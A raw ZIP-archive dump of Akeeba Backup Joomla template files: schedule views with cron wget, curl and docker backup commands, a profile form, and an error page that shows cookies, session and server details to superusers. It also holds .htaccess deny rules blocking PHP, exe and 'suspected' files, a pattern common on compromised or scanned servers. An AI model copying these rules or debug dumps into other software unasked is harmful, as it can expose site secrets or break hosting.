					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO') ?>
				</span>
				<?php if (!$this->croninfo->info->php_accurate): ?>
				<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO', $this->croninfo->info->php_path) ?>
				<?php else: ?>
				<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO', $this->croninfo->info->php_path) ?>
				<?php endif ?>
			</p>
		<?php endif ?>
	</div>
</div>
PK     \Hk      tmpl/schedule/backup_json.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Akeeba\Engine\Platform;
use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP') ?>
	</h3>

	<div class="card-body">
		<div class="alert alert-info">
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP_INFO') ?>
			</p>
		</div>

		<?php if(!$this->croninfo->info->jsonapi): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISABLED') ?>
				</p>
				<p>
					<a href="<?= $this->enableJsonApiURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_JSONAPI') ?>
					</a>
				</p>
			</div>
		<?php elseif(!trim($this->croninfo->info->secret)): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET') ?>
				</p>
				<p>
					<a href="<?= $this->resetSecretWordURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD') ?>
					</a>
				</p>
			</div>
		<?php else: ?>
			<h4><?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI') ?></h4>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_INTRO') ?>
			</p>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_DOCKER') ?>
			</p>
			<p>
				<code><?= sprintf(
						'docker run --rm ghcr.io/akeeba/remotecli backup --profile=%d --host="%s" --secret="%s"',
						Platform::getInstance()->get_active_profile(),
						$this->escape($this->croninfo->json->path ),
						$this->escape($this->croninfo->info->secret )
					) ?></code>
			</p>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_PHAR') ?>
			</p>
			<p>
				<code><?= sprintf(
						'php remote.phar backup --profile=%d --host="%s" --secret="%s"',
						Platform::getInstance()->get_active_profile(),
						$this->escape($this->croninfo->json->path ),
						$this->escape($this->croninfo->info->secret )
					) ?></code>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_OTHER') ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_INTRO') ?>
			</p>

			<table class="table table-striped">
				<tbody>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ENDPOINT')?>
					</td>
					<td>
						<?= $this->escape($this->croninfo->json->path) ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_SECRET') ?>
					</td>
					<td>
						<?= $this->escape($this->croninfo->info->secret) ?>
					</td>
				</tr>
				</tbody>
			</table>

			<p>
				<small>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISCLAIMER') ?>
				</small>
			</p>



		<?php endif ?>
	</div>
</div>PK     \z      tmpl/schedule/upload_legacy.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDCHECK') ?>
	</h3>

	<div class="card-body">

		<?php if(!$this->uploadcheck->info->legacyapi): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED') ?>
				</p>
				<p>
					<a href="<?= $this->enableLegacyFrontendURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI') ?>
					</a>
				</p>
			</div>
		<?php elseif(!trim($this->uploadcheck->info->secret)): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET') ?>
				</p>
				<p>
					<a href="<?= $this->resetSecretWordURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD') ?>
					</a>
				</p>
			</div>
		<?php else: ?>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_MANYMETHODS') ?>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON') ?>
			</p>

			<table class="table table-striped w-100">
				<tr>
					<td></td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL') ?>
					</td>
					<td>
						<?= $this->escape($this->uploadcheck->frontend->path) ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO') ?>
					</td>
				</tr>
				<tr>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS') ?>
					</td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO') ?>
					</td>
				</tr>
				<tr>
					<td></td>
					<td>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT') ?>
					</td>
				</tr>
			</table>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET') ?>
				<code>
					wget --max-redirect=10000 "<?= $this->escape($this->uploadcheck->frontend->path) ?>" -O - 1>/dev/null 2>/dev/null
				</code>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_CURL', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL') ?>
				<code>
					curl -L --max-redirs 1000 -v "<?= $this->escape($this->uploadcheck->frontend->path) ?>" 1>/dev/null 2>/dev/null
				</code>
			</p>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_SCRIPT', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT') ?>
			</p>
			<pre style="text-wrap: wrap">
&lt;?php
$curl_handle=curl_init();
curl_setopt($curl_handle, CURLOPT_URL,
  '<?= $this->escape($this->uploadcheck->frontend->path) ?>');
curl_setopt($curl_handle,CURLOPT_FOLLOWLOCATION, TRUE);
curl_setopt($curl_handle,CURLOPT_MAXREDIRS, 10000);
curl_setopt($curl_handle,CURLOPT_RETURNTRANSFER, 1);
$buffer = curl_exec($curl_handle);
if (version_compare(PHP_VERSION, '8.5.0', 'lt')) curl_close($curl_handle);
if (empty($buffer))
  echo "Sorry, the backup didn't work.";
else
  echo $buffer;
?&gt;
				</pre>

			<h4>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_URL', true) ?>
			</h4>

			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL') ?>
				<code>
					<?= $this->escape($this->uploadcheck->frontend->path) ?>
				</code>
			</p>
		<?php endif ?>
	</div>

</div>
PK     \G      tmpl/schedule/default.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;

echo HTMLHelper::_('uitab.startTabSet', 'akeebabackup-scheduling', ['active' => 'akeebabackup-scheduling-backups']);

echo HTMLHelper::_('uitab.addTab', 'akeebabackup-scheduling', 'akeebabackup-scheduling-backups', Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_RUN_BACKUPS', true));

echo $this->loadAnyTemplate('schedule/backup');

echo HTMLHelper::_('uitab.endTab');

echo HTMLHelper::_('uitab.addTab', 'akeebabackup-scheduling', 'akeebabackup-scheduling-checkbackups', Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_BACKUPS', true));

echo $this->loadAnyTemplate('schedule/check');

echo HTMLHelper::_('uitab.endTab');

echo HTMLHelper::_('uitab.addTab', 'akeebabackup-scheduling', 'akeebabackup-scheduling-checkuploads', Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS', true));

echo $this->loadAnyTemplate('schedule/upload');

echo HTMLHelper::_('uitab.endTab');

echo HTMLHelper::_('uitab.endTabSet');PK     \`:      tmpl/schedule/check.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<h2>
    <?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_BACKUPS') ?>
</h2>

<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CHECKHEADERINFO') ?>

<?php //  CLI CRON jobs ?>
<?= $this->loadAnyTemplate('schedule/check_cli') ?>

<?php // Alternate CLI CRON jobs (using legacy front-end) ?>
<?= $this->loadAnyTemplate('schedule/check_altcli') ?>

<?php // Legacy front-end backup ?>
<?= $this->loadAnyTemplate('schedule/check_legacy') ?>
PK     \      tmpl/schedule/backup.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<h2>
    <?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_RUN_BACKUPS') ?>
</h2>

<p>
    <?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_HEADERINFO') ?>
</p>

<?php // CLI CRON jobs ?>
<?= $this->loadAnyTemplate('schedule/backup_cli') ?>

<?php // Joomla Scheduled Tasks ?>
<?= $this->loadAnyTemplate('schedule/backup_joomla') ?>

<?php // Alternate CLI CRON jobs (using legacy front-end) ?>
<?= $this->loadAnyTemplate('schedule/backup_altcli') ?>

<?php // Legacy front-end backup ?>
<?= $this->loadAnyTemplate('schedule/backup_legacy') ?>

<?php // JSON API ?>
<?= $this->loadAnyTemplate('schedule/backup_json') ?>PK     \W      tmpl/schedule/backup_joomla.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER') ?>
	</h3>

	<div class="card-body">
		<?php if ($this->croninfo->joomla->supported): ?>
			<div class="alert alert-info">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_INFO') ?>
				</p>
				<p>
					<a class="btn btn-primary me-3"
							href="https://www.akeeba.com/documentation/akeeba-backup-joomla/joomla-scheduled-tasks.html"
							target="_blank">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC') ?>
					</a>
					<a class="btn btn-success"
							href="index.php?option=com_scheduler&view=tasks">
						<span class="icon-clock" aria-hidden="true"></span>
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_BUTTON') ?>
					</a>
				</p>
			</div>
		<?php elseif (version_compare(JVERSION, '4.1.0', 'lt')): ?>
			<div class="alert alert-warning">
				<h3 class="alert-heading">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_HEAD') ?>
				</h3>
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_ONLYJ41_BODY') ?>
				</p>
			</div>
		<?php else: ?>
			<div class="alert alert-warning">
				<h3 class="alert-heading">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_HEAD') ?>
				</h3>
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BODY') ?>
				</p>
				<a class="btn btn-dark"
						href="index.php?option=com_plugins&filter[folder]=task&filter[enabled]=&filter[element]=akeebabackup&filter[access]=&filter[search]=">
					<span class="icon-plug" aria-hidden="true"></span>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_JOOMLASCHEDULER_PLUGIN_DISABLED_BUTTON') ?>
				</a>
			</div>
		<?php endif ?>

	</div>
</div>
PK     \j      tmpl/schedule/upload_altcli.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_ALTCLICRON') ?>
	</h3>

	<div class="card-body">
		<?php if(!$this->uploadcheck->info->legacyapi): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED') ?>
				</p>
				<p>
					<a href="<?= $this->enableLegacyFrontendURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI') ?>
					</a>
				</p>
			</div>
		<?php elseif(!trim($this->uploadcheck->info->secret)): ?>
			<div class="alert alert-danger">
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET') ?>
				</p>
				<p>
					<a href="<?= $this->resetSecretWordURL ?>" class="btn btn-primary">
						<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD') ?>
					</a>
				</p>
			</div>
		<?php else: ?>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI') ?><br/>
				<code>
					<?= $this->escape($this->uploadcheck->info->php_path); ?>
					<?= $this->escape($this->uploadcheck->altcli->path); ?>
				</code>
			</p>
			<p>
				<span class="badge bg-warning">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO') ?>
				</span>
				<?php if (!$this->croninfo->info->php_accurate): ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO', $this->uploadcheck->info->php_path) ?>
				<?php else: ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO', $this->uploadcheck->info->php_path) ?>
				<?php endif ?>
			</p>
		<?php endif ?>
	</div>
</div>
PK     \Sʉ        tmpl/schedule/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \fq      tmpl/schedule/check_cli.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Schedule\HtmlView $this */

// Protect from unauthorized access
defined('_JEXEC') || die();

use Joomla\CMS\Language\Text;

?>
<div class="card mb-3">
	<h3 class="card-header">
		<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLICRON') ?>
	</h3>

	<div class="card-body">
		<?php if (!$this->isConsolePluginEnabled): ?>
			<div class="alert alert-danger">
				<h3 class="alert-header">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD') ?>
				</h3>
				<p>
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY') ?>
				</p>
			</div>
		<?php else: ?>
			<p>
				<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI') ?><br/>
				<code>
					<?= $this->escape($this->checkinfo->info->php_path); ?>
					<?= $this->escape($this->checkinfo->cli->path); ?>
				</code>
			</p>
			<p>
				<span class="badge bg-warning">
					<?= Text::_('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICIMPROTANTINFO') ?>
				</span>
				<?php if (!$this->croninfo->info->php_accurate): ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_CLIGENERICINFO', $this->checkinfo->info->php_path) ?>
				<?php else: ?>
					<?= Text::sprintf('COM_AKEEBABACKUP_SCHEDULE_LBL_ACCURATEINFO', $this->checkinfo->info->php_path) ?>
				<?php endif ?>
			</p>
		<?php endif ?>
	</div>
</div>
PK     \sw  w    tmpl/profile/edit.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

defined('_JEXEC') || die;

/** @var \Akeeba\Component\AkeebaBackup\Administrator\View\Profile\HtmlView $this */

use Joomla\CMS\Factory as JoomlaFactory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Router\Route;

$user = JoomlaFactory::getApplication()->getIdentity();
$wa = $this->getDocument()->getWebAssetManager();
$wa->useScript('keepalive')
	->useScript('form.validate');

?>
<form action="<?php echo Route::_('index.php?option=com_akeebabackup&view=Profile&layout=edit&id=' . (int) $this->item->id); ?>"
      method="post" name="adminForm" id="profile-form"
      aria-label="<?php echo Text::_('COM_AKEEBABACKUP_PROFILES_PAGETITLE_' . ( (int) $this->item->id === 0 ? 'NEW' : 'EDIT'), true); ?>"
      class="form-validate">

	<div>
		<div class="card">
			<div class="card-body">
				<?php echo $this->form->renderField('description'); ?>
				<?php echo $this->form->renderField('quickicon'); ?>

            <?php
                // If we're working on the default profile (ID=1), hide the access level field. Since this is our fallback
                // field, it MUST be always available to everyone
                if ($this->item->id != 1 && $user->authorise('core.manage', 'com_akeebabackup'))
                {
	                echo $this->form->renderField('access');
                }
                ?>
			</div>
		</div>
	</div>

	<input type="hidden" name="task" value="">
	<?php echo HTMLHelper::_('form.token'); ?>
</form>PK     \Sʉ        tmpl/profile/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \٢      %  tmpl/commontemplates/errorhandler.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

// Protect from unauthorized access
defined('_JEXEC') or die();

/** @var Throwable $e */
/** @var string $title */
/** @var bool $isPro */

$code = $e->getCode();
$code = !empty($code) ? $code : 500;

// 403 and 404 are re-thrown
if (in_array($code, [403, 404]))
{
	throw $e;
}

$app          = \Joomla\CMS\Factory::getApplication();
$user         = $app->getIdentity();
$isSuper      = !is_null($user) && $user->authorise('core.admin');
$isFrontend   = $app->isClient('site');
$hideTheError = $isFrontend && !(defined('JDEBUG') && (JDEBUG == 1)) && !$isSuper;
$isPro        = !isset($isPro) ? false : $isPro;

$app->setHeader('Status', $code);

if (!$isFrontend)
{
	\Joomla\CMS\Toolbar\ToolbarHelper::title($title . ' <small>Unhandled Exception</small>');
}
?>

<?php if ($hideTheError): ?>
	<div class="card">
		<h1 class="card-header bg-danger text-white">The application has stopped responding</h1>
		<div class="card-body">
			<p>
				Please contact the administrator of the site and let them know of this error and what you were doing when this
				happened.
			</p>
		</div>
	</div>
	<?php return true; endif; ?>
<div class="card my-3">
	<h1 class="card-header bg-danger text-white">
		<?= $title ?> - An unhandled Exception has been detected
	</h1>
	<div class="card-body">
		<h3>
			<span class="badge bg-danger"><?= htmlentities($code) ?></span>
			<?= htmlentities($e->getMessage()) ?>
		</h3>
		<p>
			File <code><?= htmlentities(str_ireplace(JPATH_ROOT, '&lt;root&gt;', $e->getFile())) ?></code>
			Line <span class="badge bg-info"><?= (int) $e->getLine() ?></span>
		</p>

		<?php if ($isPro): ?>
			<div class="alert alert-info">
				<p>
					<strong>Would you like us to help you faster?</strong>
				</p>
				<p>
					Save this page as PDF or HTML. Make a ZIP file containing this PDF or HTML file. When filing a support ticket please attach the ZIP file (<em>not</em> the PDF or HTML file itself).
				</p>
			</div>
			<p>
				<strong>Why do we need all that information?</strong>
				This information is an x-ray of your site at the time the error occurred. It lets us reproduce the issue or, if it's not a bug in our software, help you pinpoint the external reason which led to it.
			</p>
			<p>
				<strong>What about privacy?</strong>
				Attachments are private in our ticket system: only you and us can see them, <em>even if you file a public ticket</em>, and they are automatically deleted after a month.
			</p>
		<?php endif; ?>

		<hr />
		<p>
			<span class="icon icon-warning-2"></span>
			<em>
				The content below this point is for developers and power users.
			</em>
		</p>
		<hr />

		<p class="alert alert-warning">
			Joomla <?= JVERSION ?> – PHP <?= PHP_VERSION ?> on <?= PHP_OS ?>
		</p>

		<h3>Debug information</h3>
		<p>
			Exception type: <code><?= htmlentities(get_class($e)) ?></code>
		</p>
		<pre><?= htmlentities($e->getTraceAsString()) ?></pre>

		<?php while ($e = $e->getPrevious()): ?>
			<hr />
			<h4>Previous exception</h4>
			<strong>
				<span class="badge badge-danger"><?= htmlentities($code) ?></span>
				<?= htmlentities($e->getMessage()) ?>
			</strong>
			<p>
				File <code><?= htmlentities(str_ireplace(JPATH_ROOT, '&lt;root&gt;', $e->getFile())) ?></code> Line <span class="label label-info"><?= (int) $e->getLine() ?></span>
			</p>
			<p>
				Exception type: <code><?= htmlentities(get_class($e)) ?></code>
			</p>
			<pre><?= htmlentities($e->getTraceAsString()) ?></pre>
		<?php endwhile; ?>

		<h3>System information</h3>
		<table class="table table-striped">
			<tr>
				<td>Operating System (reported by PHP)</td>
				<td><?= PHP_OS ?></td>
			</tr>
			<tr>
				<td>PHP version (as reported <em>by your server</em>)</td>
				<td><?= PHP_VERSION ?></td>
			</tr>
			<tr>
				<td>PHP Built On</td>
				<td><?= htmlentities(php_uname()) ?></td>
			</tr>
			<tr>
				<td>PHP SAPI</td>
				<td><?= PHP_SAPI ?></td>
			</tr>
			<tr>
				<td>Server identity</td>
				<td><?= htmlentities($_SERVER['SERVER_SOFTWARE'] ?? getenv('SERVER_SOFTWARE') ?? '') ?></td>
			</tr>
			<tr>
				<td>Browser identity</td>
				<td><?= htmlentities($_SERVER['HTTP_USER_AGENT'] ?? '') ?></td>
			</tr>
			<tr>
				<td>Joomla! version</td>
				<td><?= JVERSION ?></td>
			</tr>
			<?php
			$db = \Joomla\CMS\Factory::getContainer()->get(\Joomla\Database\DatabaseInterface::class);
			if (!is_null($db)):
				?>
				<tr>
					<td>Database driver name</td>
					<td><?= $db->getName() ?></td>
				</tr>
				<tr>
					<td>Database driver type</td>
					<td><?= $db->getServerType() ?></td>
				</tr>
				<tr>
					<td>Database server version</td>
					<td><?= $db->getVersion() ?></td>
				</tr>
				<tr>
					<td>Database collation</td>
					<td><?= $db->getCollation() ?></td>
				</tr>
				<tr>
					<td>Database connection collation</td>
					<td><?= $db->getConnectionCollation() ?></td>
				</tr>
			<?php endif; ?>
			<tr>
				<td>PHP Memory limit</td>
				<td><?= function_exists('ini_get') ? htmlentities(ini_get('memory_limit')) : 'N/A' ?></td>
			</tr>
			<tr>
				<td>Peak Memory usage</td>
				<td><?= function_exists('memory_get_peak_usage') ? sprintf('%0.2fM', (memory_get_peak_usage() / 1024 / 1024)) : 'N/A' ?></td>
			</tr>
			<tr>
				<td>PHP Timeout (seconds)</td>
				<td><?= function_exists('ini_get') ? htmlentities(ini_get('max_execution_time')) : 'N/A' ?></td>
			</tr>
		</table>

		<h3>Request information</h3>
		<h4>$_GET</h4>
		<pre><?= htmlentities(print_r($_GET, true)) ?></pre>
		<h4>$_POST</h4>
		<pre><?= htmlentities(print_r($_POST, true)) ?></pre>
		<h4>$_COOKIE</h4>
		<pre><?= htmlentities(print_r($_COOKIE, true)) ?></pre>
		<h4>$_REQUEST</h4>
		<pre><?= htmlentities(print_r($_REQUEST, true)) ?></pre>

		<h3>Session state</h3>
		<pre><?= htmlentities(print_r($app->getSession()->all(), true)) ?></pre>

		<?php
		try
		{
			/** @var \Joomla\CMS\MVC\Factory\MVCFactoryInterface $factory */
			$factory = $app->bootComponent('com_admin')->getMVCFactory();
			/** @var \Joomla\Component\Admin\Administrator\Model\SysinfoModel $model */
			$model = $factory->createModel('Sysinfo', 'Administrator');
		}
		catch (Exception $e)
		{
			return;
		}

		$directories = $model->getDirectory();

		try
		{
			$extensions = $model->getExtensions();
		}
		catch (Exception $e)
		{
			$extension = [];
		}

		$phpSettings = $model->getPhpSettings();
		$hasPHPInfo  = $model->phpinfoEnabled();
		?>

		<h3>PHP Settings</h3>
		<table class="table table-striped">
			<?php foreach ($phpSettings as $k => $v): ?>
				<tr>
					<td><?= $k ?></td>
					<td><?= htmlentities(print_r($v, true)) ?></td>
				</tr>
			<?php endforeach; ?>
		</table>

		<?php if ($hasPHPInfo):
			$phpInfo = $model->getPhpInfoArray(); ?>
			<h3>Loaded PHP Extensions</h3>
			<table class="table table-striped">
